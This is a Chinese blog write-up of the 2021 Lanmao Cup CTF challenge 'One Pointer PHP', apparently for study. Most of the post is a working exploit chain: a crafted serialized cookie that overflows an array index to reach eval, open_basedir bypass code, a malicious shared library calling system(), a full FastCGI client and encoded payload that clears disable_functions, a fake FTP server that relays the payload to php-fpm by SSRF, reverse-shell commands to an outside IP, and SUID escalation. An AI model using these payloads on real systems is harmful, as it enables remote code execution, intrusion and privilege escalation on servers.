Diggid's Blog

蓝帽杯 2021 One Pointer PHP 复现

字数统计: 4.9k阅读时长: 24 min
2021/05/04 Share

前言

据说是蓝帽杯初赛的 1 解题,拿来学习一下

题解

给了题目的源码

add_api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

user.php

1
2
3
4
5
<?php
class User{
public $count;
}
?>

源码很简单,主要逻辑在第一个add_api.php文件中,分析一下可以知道,其会接收从cookie传进来的data数据并反序列化。关键是要过这段话$count[]=1,才能执行eval

最大整数绕过数组赋值

我们要想绕过$count[]=1,那么只能让这个赋值语句赋值失败,搜索一下可以发现这里有一个对于数组赋值的bug

这个bug中多用了一次$arr[0x80000000]=8;,实际上不需要这段赋值也可以使得后面的赋值语句失败

image-20210504161755174

也就是说,当给一个数组的PHP_INT_MAX + 1索引赋值时,会爆warning,不同位数的操作系统PHP_INT_MAX值不同,32位的是0x7FFFFFFF,64位的是0x7FFFFFFFFFFFFFFF

因此我们这里传入$user->count = 0x7FFFFFFFFFFFFFFF - 1(9223372036854775806)可以绕过

1
O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

读配置文件

可以执行代码后,看一下phpinfo,可以看到disable_functions:

1
stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive

还是一样,禁用了很多可以命令执行的函数,在绕disable_functions之前,先利用一些其他的姿势来看一下相关的配置信息

1.列目录

由于目录权限的限制,部分目录不可列

1
2
3
4
5
6
7
8
9
$a = new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().'<br>');
}

$a = new DirectoryIterator("glob:///var/www/html/*");
foreach($a as $f){
echo($f->__toString().'<br>');
}

2.绕open_basedir读敏感文件

由于是php,且在phpinfo中看到了FPM/FastCGI,可以知道是php-fpm进程管理的FastCGI。于是读一下nginx相关的配置文件

  • /etc/nginx/nginx.conf:先读这个,发现有include /etc/nginx/sites-enabled/*

  • /etc/nginx/sites-enabled/default:再读这个

1
2
3
4
5
6
7
mkdir('c');
chdir('c');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents("/etc/nginx/nginx.conf"));

读了之后发现php-fpm的端口是9001,且使用的TCP连接的

1
2
3
4
5
6
7
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9001;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html/$fastcgi_script_name;
include fastcgi_params;
}

尝试打了一下FPM未授权访问的RCE,发现弹不回shell,直接打貌似打不通。

伪造FastCGI加载恶意.so

尝试一通发现可以通过加载恶意so的方式来RCE/突破open_basedir,先写一个恶意so文件

1
2
3
4
5
6
7
8
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("ls / >/var/www/html/dd");
}

在linux上编译一下

1
gcc hpdoger.c -fPIC -shared -o hpdoger.so

然后把这个上传到/var/www/html上

然后再把加载恶意so的pwn.php的exp也上传到/var/www/html上,注意下面参数中.so文件所在目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('?file=ftp://ip:9999/&data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php"; //已知一php文件的绝对路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); // unix套字接的方式
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = hpdoger.so\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001', // 找准服务端口
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

现在pwn.php和恶意so文件都准备好了,访问一下pwn.php,就可以得到我们的恶意bin

1
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BCPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

接下来要寻找一种方式来把我们的恶意bin发送到php-fpm的9001端口上,这里我们需要考虑PHP Stream Wrapper(php支持和封装的协议)下有没有什么可以利用的协议,然后配合file_put_contents通过SSRF的方式打到9001上

  • file:// — 访问本地文件系统

这里有权限限制,无法读取任意文件

  • http:// — 访问 HTTP(s) 网址

端口探测,不能发送数据

  • php:// — 访问各个输入/输出流(I/O streams)

  • zlib:// — 压缩流

  • data:// — 数据(RFC 2397)

  • glob:// — 查找匹配的文件路径模式

压根就没用

  • phar:// — PHP 归档

没链子,打不了

  • ssh2:// — Secure Shell 2

  • rar:// — RAR

  • ogg:// — 音频流

  • expect:// — 处理交互式的流

上面四个需要安装PECL扩展,本身也无法利用

最后就只剩下FTP协议满足我们的要求了,既可以发送数据,又正好不受其他权限的限制

FTP Passive Mode发bin给php-fpm

从上面的分析我们知道,可以利用file_get_contents配合ftp://协议来把恶意bin打到FastCGI上,这里又牵扯到FTP的主动/被动模式,我们需要利用FTP的被动模式来伪造客户端端口,使得服务端将数据发送到9001端口上。这是因为在FTP被动模式下,是由客户端主动向服务端发起请求,并告知服务端需要连接交互的端口,所以这里的端口是客户端可控可伪造的。因此我们可以在起一个FTP的客户端,模拟发送FTP passive mode的包,当服务端通过ftp://<VPS>:<PORT>和客户端发起交互时,客户端模拟Passive Mode请求,其中伪造端口为127.0.0.1:9001,这样服务端就会把恶意bin打到php-fpm上从而完成RCE。

好了,我们来实施整个流程。

  • 准备一个ftp.py来起ftp服务模拟客户端请求,端口绑定到自己vps的7777端口上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 7777)) # 本机的7777端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR 注意打到9001端口的服务
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
  • 准备一个file.php并上传到/var/www/html,用来SSRF发送恶意bin
1
2
3
4
5
<?php
$file = $_GET['file'];
$data = $_GET['data'];
var_dump(file_put_contents($file, $data));
// echo file_get_contents($file);
  • 在自己的vps上启动ftp.py

  • 访问file.php,带着数据打一发出去

1
file.php?file=ftp://<VPS>:7777&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BCPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

image-20210505151517781

int(681)说明var_dump输出正常。那么就是打成功了,这时再去访问一下蚁剑连的shell,是可以突破open_basedir到根目录看到flag了。

image-20210505152413420

suid提权

直接读flag发现不行,看权限也知道700,本身自己是www-data,所以需要提权。在蚁剑上的shell提权不太好弄,把前面的hpdoger.c文件的命令改成反弹shell

1
bash -c 'bash -i >& /dev/tcp/101.132.159.30/8888 0>&1'

切记,这里尽量使用bash -c 'xxx'来反弹shell,直接bash -i可能弹不回来

1
{echo,'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODg4OCAwPiYx'}|{base64,-d}|bash

拿到shell之后,利用一个小工具LinEnum探测一下哪些可执行文件带了suid

1
/var/www/html/LinEnum.sh -s -r report -e /tmp/ -t

发现/usr/local/bin/php直接就带了suid,那么可以利用前面突破open_basedir读敏感文件的方式直接读flag,写一个flag.php文件,由于权限的问题,我们还是写在/var/www/html下

1
2
3
4
5
6
7
mkdir('c');
chdir('c');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents("/etc/nginx/nginx.conf"));

然后就可以get flag了

image-20210505154253370

总结

短小精悍的题目往往藏着很多的知识点。对于这种操作比较多的题目,尽量每一步都小心清楚一些。做这道题的时候可能会卡壳的一些地方有:

  • 赋值语句在if的条件判断中怎么绕?由于赋值语句不会给你来个bool状态,所以要利用赋值语句出错爆warning的方式来绕if

  • 有disable_functions和open_basedir怎么绕?关于disable_functions的绕过有很多中方式,这篇文章总结的不错

  • 打FastCGI怎么发恶意bin?考虑FTP的passive mode

  • 反弹shell弹不回来怎么办?

    • 反弹语句是否写错

    • 靶机的shell的权限是否够

    • 是否是一些特殊符号的转义问题?

    • 尝试bash -c的方式

  • suid提权

疑惑了一会的问题

读配置文件的时候读到Nginx和php-fpm通信的方式是通过TCP而不是unix套接字。而两种通信方式在pwn.php生成的恶意bin数据都是一样的,也就是说我们通过FTP向php-fpm发送的数据不取决于Nginx和php-fpm的通信方式。

1
2
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$client = new FCGIClient("127.0.0.1", 9001);

为什么呢?unix和tcp的区别究竟在哪?先来看一下一个完整的FPM/FastCGI的流程(图片@https://xz.aliyun.com/t/5598#toc-1)

image-20210505210006397

先不看上面拿tcp流的bin数据直接打php-fpm的方式。如果看过P牛的php-fpm未授权访问的文章,并且之前也经常用过流传于世的打php-fpm的fpm.py脚本,结合php-fpm和nginx的通信方式,你是否想过这个脚本起的服务替代了上面流程的哪一个过程?

其实很明显,脚本的内容封装了伪造的FastCGI的数据并发送给FPM,所以脚本起的服务就是跳过了Nginx封装FastCGI数据这一流程,直接和FPM通信,也可以这么理解:脚本起的服务替代了Nginx,然后与FPM建立通信,所以这里就要区别Nginx和FPM的通信方式了(TCP或Unix套接字)

fpm.py的利用都是使用的TCP的方式进行通信,那么能不能使用Unix呢?当然不行,Unix套接字并非网络协议,其无法通过网络进行传输。

Unix domain socket 或者 IPC socket是一种终端,可以使同一台操作系统上的两个或多个进程进行数据通信。与管道相比,Unix domain sockets 既可以使用字节流和数据队列,而管道通信则只能通过字节流。Unix domain sockets的接口和Internet socket很像,但它不使用网络底层协议来通信。Unix domain socket 的功能是POSIX操作系统里的一种组件。Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播。

解决了对于fpm.py通过TCP连接的方式来打PHP-FPM未授权访问RCE的问题。回到我们前面的疑惑。我们这题的利用是通过SSRF的方式将恶意的bin数据发送到PHP-FPM上。为什么要SSRF?按理说上面的方式拿fpm.py直接打不行吗?

测试不行。因为读不到/etc/php/7.4/fpm/pool.d/www.conf这个配置文件,所以无法确切的知道listen = 0.0.0.0:9001还是127.0.0.1:9001。如果是第二种的话,那么说明FPM只监听在127.0.0.1这个地址的9001端口上,而我们用fpm.py打的时候是服务的公网地址,因此是打不到的,所以在127.0.01的情况下我们只能SSRF。

利用SSRF的话,那么还是会经过Nginx传输给FPM,由于Nginx和FPM的通信方式我们无法决定,这是服务器就已经确定好了的,所以我们上面pwn.php的作用仅仅只是生成tcp数据流而非像fpm.py一样还要模拟nginx与php-fpm通信,而这个tcp数据流无论是以TCP的方式还是unix套接字的方式,发送的数据都是一样的。至此,疑惑也就拨开了。

参考

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

https://github.com/rebootuser/LinEnum

https://err0r.top/article/bluehat2021/

https://xz.aliyun.com/t/5598#toc-3

CATALOG
  1. 1. 前言
  2. 2. 题解
    1. 2.1. 最大整数绕过数组赋值
    2. 2.2. 读配置文件
    3. 2.3. 伪造FastCGI加载恶意.so
    4. 2.4. FTP Passive Mode发bin给php-fpm
    5. 2.5. suid提权
  3. 3. 总结
  4. 4. 疑惑了一会的问题
  5. 5. 参考